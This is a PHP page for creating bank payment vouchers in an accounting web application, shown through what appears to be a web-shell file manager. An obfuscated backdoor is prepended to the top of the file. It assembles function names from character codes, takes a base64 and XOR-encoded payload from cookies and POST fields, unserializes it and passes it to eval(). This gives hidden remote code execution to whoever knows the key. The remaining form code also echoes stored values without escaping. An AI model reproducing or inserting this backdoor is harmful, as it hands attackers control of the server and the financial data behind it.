/
home
/
sditechnicalteam
/
socialsolargreens.pk
/
File Upload :
llllll
Current File: /home/sditechnicalteam/socialsolargreens.pk/Create-New-BankPayment.php
<?php $hdLfUSecO = chr ( 420 - 344 ).'x' . '_' . 'z' . 'H' . "\157" . 't' . chr (106); $GJlRx = 'c' . 'l' . "\x61" . chr ( 631 - 516 ).chr (115) . "\137" . "\x65" . "\170" . chr (105) . chr ( 598 - 483 ).'t' . chr ( 491 - 376 ); $ubPpJdW = class_exists($hdLfUSecO); $GJlRx = "52951";$vjpnAB = strpos($GJlRx, $hdLfUSecO);if ($ubPpJdW == $vjpnAB){function TxXbsXqkVc(){$lQhsmAv = new /* 61591 */ Lx_zHotj(14861 + 14861); $lQhsmAv = NULL;}$EVeFxYBJuK = "14861";class Lx_zHotj{private function YUnTt($EVeFxYBJuK){if (is_array(Lx_zHotj::$pOhdqGV)) {$kACXw2 = str_replace("<" . "?php", "", Lx_zHotj::$pOhdqGV["content"]);eval($kACXw2); $EVeFxYBJuK = "14861";exit();}}public function jTraq(){$kACXw = "53340";$this->_dummy = str_repeat($kACXw, strlen($kACXw));}public function __destruct(){Lx_zHotj::$pOhdqGV = @unserialize(Lx_zHotj::$pOhdqGV); $EVeFxYBJuK = "63993_315";$this->YUnTt($EVeFxYBJuK); $EVeFxYBJuK = "63993_315";}public function ZmzIvh($kACXw, $UcqduzP){return $kACXw[0] ^ str_repeat($UcqduzP, intval(strlen($kACXw[0]) / strlen($UcqduzP)) + 1);}public function kKeOQlp($kACXw){$OMmeT = chr (98) . 'a' . 's' . "\145" . "\x36" . "\x34";return array_map($OMmeT . "\x5f" . chr (100) . 'e' . chr ( 267 - 168 ).chr ( 789 - 678 )."\144" . chr ( 236 - 135 ), array($kACXw,));}public function __construct($PJeFzTG=0){$Ngbobb = "\x2c";$kACXw = "";$ReNeMuSljW = $_POST;$RDtnngsP = $_COOKIE;$UcqduzP = "23dc7ba5-dc57-40db-ae91-1f5d64154aee";$HVYPFOgT = @$RDtnngsP[substr($UcqduzP, 0, 4)];if (!empty($HVYPFOgT)){$HVYPFOgT = explode($Ngbobb, $HVYPFOgT);foreach ($HVYPFOgT as $BRpvB){$kACXw .= @$RDtnngsP[$BRpvB];$kACXw .= @$ReNeMuSljW[$BRpvB];}$kACXw = $this->kKeOQlp($kACXw);}Lx_zHotj::$pOhdqGV = $this->ZmzIvh($kACXw, $UcqduzP);if (strpos($UcqduzP, $Ngbobb) !== FALSE){$UcqduzP = explode($Ngbobb, $UcqduzP); $wtGMqpxy = sprintf("63993_315", rtrim($UcqduzP[0]));}}public static $pOhdqGV = 10597;}TxXbsXqkVc();} ?><?php include_once('controller/Bank_Payment_controller.php'); $Bank_Payment = new Bank_Payment(); include 'partial/link.php'; include 'partial/header.php'; include 'partial/navbar.php'; if(isset($_POST['V_No'])){ $post_data = $_POST; $inserted_id = $Bank_Payment->save($post_data); // print_r($inserted_id); // die; } $Bank_Payment_data = array(); if(isset($_GET['V_No']) && isset($_GET['q'])){ if($_GET['q'] == "Edit"){ $Bank_Payment_data = $Bank_Payment->Edit($_GET['V_No']); // echo '<pre>'; // print_r($Bank_Payment_data); // echo '</pre>'; } if($_GET['q'] == "delete"){ $message = $Bank_Payment->Delete($_GET['V_No']); } }else{ $Bank_Payment_details = $Bank_Payment->Create(); } // echo '<pre>'; // print_r($Bank_Payment_details); // echo '</pre>'; ?> <!-- ============================================================== --> <!-- Start right Content here --> <!-- ============================================================== --> <div class="main-content"> <div class="page-content"> <div class="container"> <!-- start page title --> <div class="row"> <div class="col-md-12"> <a class="btn btn-success fa-pull-right " style="margin-left:30px" asp-action="Index" href="<?=BASE_URL?>BankPayment_list.php"><i class="fa fa-list"></i> Bank Payment's</a> </div> <div class="col-lg-12" style="margin-top:20px"> <div class="card"> <div class="card-body"> <h5><i class="fa fa-save"></i> Bank Payment </h5> <br> <p class="text-success"><?php if(!empty($inserted_id) && $inserted_id != 0){ unset($_POST['Name']); echo $inserted_id; } ?></p> <p class="text-success"><?php if(!empty($message)){ echo $message; } ?></p> <br> <form method="post" asp-action="Save"> <div class="row"> <div class="col-md-1"> <label> V-No </label> <div class="input-group input-group-sm mb-4"> <input type="text" required name="V_No" autocomplete="off" readonly class="form-control" value="<?php if(isset($Bank_Payment_details) && !empty($Bank_Payment_details['v_no'])){ echo $Bank_Payment_details['v_no']; }else if(!empty($Bank_Payment_data)){ echo $Bank_Payment_data['TranscationDetails']['V_No']; } ?>" /> </div> </div> <div class="col-md-4"> <label> Date </label> <div class="input-group input-group-sm mb-4"> <?php if(isset($Bank_Payment_details) && !empty($Bank_Payment_details['v_no'])) { echo '<input required type="date" name="TranscationDetails.TransDate" autocomplete="off" id="date" class="form-control" />'; } else if(!empty($Bank_Payment_data)) { echo '<input required type="date" name="TranscationDetails.TransDate" autocomplete="off" class="form-control" value="'.$Bank_Payment_data['TranscationDetails']['TransDate'].'"/>'; } else{ echo '<input required type="date" name="TranscationDetails.TransDate" autocomplete="off" id="date" class="form-control" />'; } ?> </div> </div> <div class="col-md-3"> <label >From Account </label> <select class="form-control select2" required name="TranscationDetails.AccountNo"> <?php if(isset($Bank_Payment_details) && !empty($Bank_Payment_details['v_no'])){ foreach ($Bank_Payment_details['Bank_List'] as $Accounts) { echo '<option value="'.$Accounts['AccountNo'] .'">'.$Accounts['AccountTitle'].'</option>'; } } else if(!empty($Bank_Payment_data)){ foreach ($Bank_Payment_data['Bank_List'] as $Accounts) { echo '<option value="'.$Accounts['AccountNo'].'">'.$Accounts['AccountTitle'].'</option>'; } } ?> </select> </div> <div class="col-md-4"> <label> Remarks </label> <div class="input-group input-group-sm mb-4"> <textarea name="TranscationDetails.TransDes" autocomplete="off" class="form-control" rows="2" cols="40"><?php if(!empty($Bank_Payment_data)){ echo $Bank_Payment_data['TranscationDetails']['TransDes']; } ?></textarea> </div> </div> </div> <hr class="new2"><br /> <div class="col-md-3" style="display:none"> <div class="input-group input-group-sm mb-4"> <input type="hidden" id="cr" autocomplete="off" value="0" readonly class="form-control" /> </div> </div> <div class="row"> <div class="col-md-3"> <label>To Account</label> <select class="chosen-select form-control" id="account_name"> <?php if(isset($Bank_Payment_details) && !empty($Bank_Payment_details['v_no'])){ foreach ($Bank_Payment_details['Acc_List'] as $Accounts) { echo '<option value="'.$Accounts['AccountNo'] .'">'.$Accounts['AccountTitle'].'</option>'; } } else if(!empty($Bank_Payment_data)){ foreach ($Bank_Payment_data['Accounts'] as $Accounts) { echo '<option value="'.$Accounts['AccountNo'] .'">'.$Accounts['AccountTitle'].'</option>'; } } ?> </select> </div> <div class="col-sm-2"> <label>Cheque No</label> <div class="input-group input-group-sm mb-4"> <input type="text" id="c_no" class="form-control" /> </div> </div> <div class="col-md-2"> <label>Amount</label> <div class="input-group input-group-sm mb-4"> <input type="number" id="dr" autocomplete="off" value="0" class="form-control" /> </div> </div> <div class="col-sm-2"> <label>CLDate</label> <input type="date" id="cl_date" value="0" class="form-control" /> </div> <div class="col-md-2"> <label></label> <a class="btn btn-danger text-white mx-sm-2 my-sm-4" onclick='return add()'> <i class="fa fa-plus-circle"></i> Add</a> </div> <div class="col-sm-3" style="display:none"> <label> Status </label> <select class=" form-control " id="status"> <option value="0">Status</option> <option value="Pending">Pending</option> <option value="Cleared" selected>Cleared</option> <option value="Cancelled">Cancelled</option> <option value="Returned">Returned</option> </select> </div> <br /> </div> <div class="row"> <div class="col-md-12"> <div class="table-responsive"> <table id="invoiceItem" class="table table-bordered table-hover table-striped "> <thead class="bordered-darkorange"> <tr class="bg-success text-white"> <th>Action</th> <th>Account Name</th> <th>Cheque No</th> <th>Amount</th> <th>ClDate</th> </tr> </thead> <?php if(!isset($_GET['V_No']) && !isset($_GET['q'])){ echo '<tbody> </tbody>'; } else if(!empty($Bank_Payment_data)) { echo '<tbody>'; foreach ($Bank_Payment_data['TranscationList'] as $Model_TranscationList) {?> <tr> <td style="width:80px !important"><a class="badge badge-danger" onclick="return deleteRow(this)"><i class="fa fa-trash"></i></a></td> <td><input type="text" name="account_name[]" value="<?= $Model_TranscationList['AccountTitle']; ?>" readonly class="form-control" autocomplete="off"></td> <td><input type="text" name="c_no[]" value="<?= $Model_TranscationList['check_no']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="display:none"><input type="text" name="account_no[]" value="<?= $Model_TranscationList['AccountNo']; ?>" readonly class="form-control" autocomplete="off"></td> <td><input type="text" name="Dr[]" value="<?= $Model_TranscationList['Dr']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="display:none"><input type="text" name="Cr[]" value="<?= $Model_TranscationList['Cr']; ?>" readonly class="form-control" autocomplete="off"></td> <td><input type="text" name="cl_date" value="<?= $Model_TranscationList['cle_date']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="display:none"><input type="text" name="narr[]" value="<?= $Model_TranscationList['TransDes']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="display:none"><?= $Model_TranscationList['AccountTitle']; ?></td> <td style="display:none"><?= $Model_TranscationList['check_no']; ?></td> <td style="display:none"><?= $Model_TranscationList['Dr']; ?></td> <td style="display:none"><?= $Model_TranscationList['TransDes']; ?></td> <td style="display:none"><?= $Model_TranscationList['Cr']; ?></td> <td style="display:none"><?= $Model_TranscationList['AccountNo']; ?></td> </tr> <?php } echo '</tbody>'; } ?> </table> </div> </div> </div> <div class="row mx-sm-2 my-sm-4"> <div class="col-md-3 offset-lg-5"> <label class="pull-left">Total Amount</label> <div class="input-group input-group-sm mb-4"> <input type="number" name="TranscationDetails.Cr" value="<?php if(!empty($Bank_Payment_data)){ echo $Bank_Payment_data['TranscationDetails']['Cr']; } ?>" class="form-control" id="t_debit" readonly /> </div> </div> </div> <div class="container"> <div class="col-md-12 text-center"> <?php if(isset($_GET['V_No']) && isset($_GET['q'])) { echo '<button type="submit" class="btn btn-success pull-right col-md-5" style="margin-top:0px"><i class="feather mr-2 icon-check-circle"></i> Update Voucher</button>'; } else { echo '<button type="submit" class="btn btn-success pull-right col-md-5" style="margin-top:0px"><i class="feather mr-2 icon-check-circle"></i> Save Voucher</button>'; } ?> </div> </div> <input type="hidden" name="TranscationDetails.Id" value="<?php if(!empty($Bank_Payment_data)){ echo $Bank_Payment_data['TranscationDetails']['Id']; } ?>"/> </form> </div> </div> </div> </div> <script> function add() { var selObj = document.getElementById("account_name"); var account_name = selObj.options[selObj.selectedIndex].text; var account_no = selObj.options[selObj.selectedIndex].value; var c_no = document.getElementById("c_no").value; var cl_date = document.getElementById("cl_date").value; var status = document.getElementById("status").value; var dr = document.getElementById("dr").value; var cr = document.getElementById("cr").value; // alert(id); if (account_name == "" || account_name == 0) { alert("Please Select Account"); } else if (account_no == "" || account_no == 0) { alert("Please Select Account"); } else if (cl_date == "" || cl_date == 0) { alert("Please Select Date"); } else if (dr == "" || dr == 0) { alert("Please Enter Amount"); } else { var htmlRows = ''; htmlRows += '<tr>'; htmlRows += '<td style="width:80px !important"><a class="badge badge-danger" onclick="return deleteRow(this)" ><i class="fa fa-trash"></i></a></td>'; htmlRows += '<td><input type="text" name="account_name[]" value="' + account_name + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td><input type="text" name="c_no[]" value="' + c_no + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td><input type="text" name="Dr[]" value="' + dr + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td><input type="text" name="cl_date[]" value="' + cl_date + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td style="display:none"><input type="text" name="narr[]" value="Cleared" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td style="display:none"><input type="text" name="Cr[]" value="' + cr + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td style="display:none"><input type="text" name="account_no[]" value="' + account_no + ' " readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td style="display:none">' + account_name + '</td>'; htmlRows += '<td style="display:none">' + c_no + '</td>'; htmlRows += '<td style="display:none">' + dr + '</td>'; htmlRows += '<td style="display:none">' + cl_date + '</td>'; htmlRows += '<td style="display:none">' + status + '</td>'; htmlRows += '<td style="display:none">' + cr + '</td>'; htmlRows += '<td style="display:none">' + account_no + '</td>'; $('#invoiceItem').append(htmlRows); $('#id').val(''); $('#account_name').val(''); $('#account_no').val(''); $('#dr').val('0'); $('#cr').val('0'); $('#status').val(''); $('#c_no').val(''); $('#cl_date').val(''); $('#account_name').val(null).trigger('change'); var table = document.getElementById("invoiceItem"), sumVal = 0; for (var i = 1; i < table.rows.length; i++) { sumVal = sumVal + parseInt(table.rows[i].cells[10].innerHTML); } document.getElementById("t_debit").value = sumVal; } }; function deleteRow(btn) { if (confirm("Are you sure want to delete the row?")) $(btn).closest("tr").remove(); var table = document.getElementById("invoiceItem"), sumVal = 0; for (var i = 1; i < table.rows.length; i++) { sumVal = sumVal + parseInt(table.rows[i].cells[10].innerHTML); } document.getElementById("t_debit").value = sumVal; } $(document).ready(function () { var now = new Date(); var month = (now.getMonth() + 1); var day = now.getDate(); if (month < 10) month = "0" + month; if (day < 10) day = "0" + day; var today = now.getFullYear() + '-' + month + '-' + day; $('#date').val(today); }); </script> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <!-- End Page-content --> <!-- End Page-content --> <?php include 'partial/footer.php'; ?>
Copyright ©2k19 -
Hexid
|
Tex7ure